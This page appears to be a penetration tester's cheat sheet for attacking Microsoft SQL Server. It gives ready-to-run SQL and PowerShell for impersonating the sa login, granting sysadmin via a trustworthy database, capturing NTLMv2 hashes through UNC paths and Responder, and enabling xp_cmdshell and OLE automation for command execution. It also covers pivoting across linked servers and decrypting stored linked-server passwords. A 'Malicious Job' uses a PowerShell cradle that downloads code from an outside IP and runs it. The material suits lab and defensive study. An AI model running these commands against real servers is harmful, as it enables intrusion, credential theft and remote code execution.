MSSQL Attacks
MSSQL Privilege Escalation
privilege escalation
in MSSQL Server
, where the goal is to get a login with the server-level sysadmin role, like the sa
login which is disabeld by default.
Impersonating Logins
MSSQL has a statement EXECUTE AS which allows to execute commands of a session to another login or user, like impersonation.
Check which logins are allowed to impersonate.
SELECT name FROM sys.server_permissions
JOIN sys.server_principals
ON grantor_principal_id = principal_id
WHERE permission_name = 'IMPERSONATE';
# oneliner
SELECT name FROM sys.server_permissions JOIN sys.server_principals ON grantor_principal_id = principal_id WHERE permission_name = 'IMPERSONATE';
Impersonate SA login
# Impersonate
EXECUTE AS LOGIN = 'sa';
# Use database
use priv_esc;
# Show tables
SELECT name FROM sys.tables;
# Select column
SELECT * FROM flag;
Abusing Trustworthy Databases
Query DB users with db_owner role
USE webshop;
SELECT b.name, c.name
FROM webshop.sys.database_role_members a
JOIN webshop.sys.database_principals b ON a.role_principal_id = b.principal_id
LEFT JOIN webshop.sys.database_principals c ON a.member_principal_id = c.principal_id;
# one-liner
USE webshop; SELECT b.name, c.name FROM webshop.sys.database_role_members a JOIN webshop.sys.database_principals b ON a.role_principal_id = b.principal_id LEFT JOIN webshop.sys.database_principals c ON a.member_principal_id = c.principal_id;
Impersonate as ws_user and and check for db_owner role
USE webshop;
EXECUTE AS LOGIN = 'ws_user';
SELECT IS_ROLEMEMBER('db_owner');
Assign user in this case ws_dev sysadmin role
CREATE PROCEDURE sp_privesc
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'ws_dev', 'sysadmin'
GO
EXECUTE sp_privesc;
DROP PROCEDURE sp_privesc;
UNC Path Injection
We can capture NTLMv2 hashes from a user the MSSQL server is running as. Default is NT SERVICE\mssqlserver
. We can use undocumented extended stored procedures:
xp_fileexist
: Checks if file existsxp_dirtree
: Returns a directory treexp_subdirs
: Returns a list of sub-directories
Example if hosts file exists
EXEC xp_fileexist 'C:\Windows\System32\drivers\etc\hosts';
Setup Responder
sudo responder -I tun0 -v
Then access
EXEC xp_dirtree '\\<IP>\a';
EXEC xp_subdirs '\\<IP>\a';
EXEC xp_fileexist '\\<IP>\a';
Command Execution
After escalating privileges to a login
with the sysadmin
role its possible to get CE.
Using xp_cmdshell
Creating a MSSQL Server Agent Job
Create and execute OLE Automation stored procedure.
Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
# Test
EXEC xp_cmdshell 'whoami';
Command Execution via MSSQL Server Agent Job
Create a new job which uses Powershell to download and execute a script.
USE msdb;
GO
EXEC sp_add_job
@job_name = N'Malicious Job';
GO
EXEC sp_add_jobstep
@job_name = N'Malicious Job',
@step_name = N'Execute PowerShell Script',
@subsystem = N'PowerShell',
@command = N'(New-Object Net.WebClient).DownloadString("http://10.10.14.104/a")|IEX;',
@retry_attempts = 5,
@retry_interval = 5;
GO
EXEC sp_add_jobserver
@job_name = N'Malicious Job';
GO
EXEC sp_start_job
@job_name = N'Malicious Job';
GO
Command Execution via OLE Automation Stored Procedure
By default this is disabled but it can be enabled
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'ole automation procedures', 1;
RECONFIGURE;
OLE Automation allows to use other languages like VBS from a SQL query. Create a wscript.shell and execute a command.
DECLARE @objShell INT;
DECLARE @output varchar(8000);
EXEC @output = sp_OACreate 'wscript.shell', @objShell Output;
EXEC sp_OAMethod @objShell, 'run', NULL, 'cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"';
Lateral Movement
In MSSQL Server
, there is the concept of linked servers. By linking server A to B its possible to execute queries on server B from server A.
OPENQUERY: Run query on linked server
EXECUTE AT: Run query on linked server
OPENROWSET: Connects and runs a query on server
Enumerate Linked Servers
EXEC sp_linkedservers;
Use OPENQUERY to return database
SELECT * FROM OPENQUERY(SQL02, 'SELECT name, database_id, create_date FROM sys.databases');
Remote Command Execution via EXECUTE AT
Check permissions, we need sysadmin role.
SELECT * FROM OPENQUERY(SQL02, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');
Execute a command remotely using linked server
EXECUTE ('EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE; EXEC xp_cmdshell "whoami";') AT SQL02;
Decrypting Linked Server Passwords (Post-Exploitation)
With a user with sysadmin role we can extract credentials to linked servers.
SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash
FROM master.sys.syslnklgns
INNER JOIN master.sys.sysservers
ON syslnklgns.srvid = sysservers.srvid WHERE LEN(pwdhash) > 0;
# Get hash
SELECT * FROM sys.key_encryptions;
Decrypt Service Master Key, first get entropy bytes
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy"
Then use script
$encryptedData = "0xFFFFFFFF500100<SNIP>";
$encryptedData = $encryptedData.Substring(18); # Remove 0x and padding
$encryptedData = [byte[]] -split ($encryptedData -replace '..', '0x$& ');
$entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy;
Add-Type -AssemblyName System.Security;
$SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine');
Write-Host (($SMK|ForEach-Object ToString X2) -join '');
Split pwdhash into IV and Ciphertext
SELECT
name,
SUBSTRING(pwdhash, 5, 16) AS 'IV',
SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS 'Ciphertext'
FROM sys.syslnklgns
WHERE LEN(pwdhash) > 0;
Decrypt password CyberChef recipe.
MSSQL Commands
SQL (ws_dev guest@master)> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
More
# Enum impersonate
enum_impersonate
# Execute as
exec_as_login sa
# Dirtree
xp_dirtree \\10.10.14.104\a
# Enable xp_cmdshell
enable_xp_cmdshell
# Start a job
sp_start_job cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"
# Use linked server
use_link SQL02
Last updated
Was this helpful?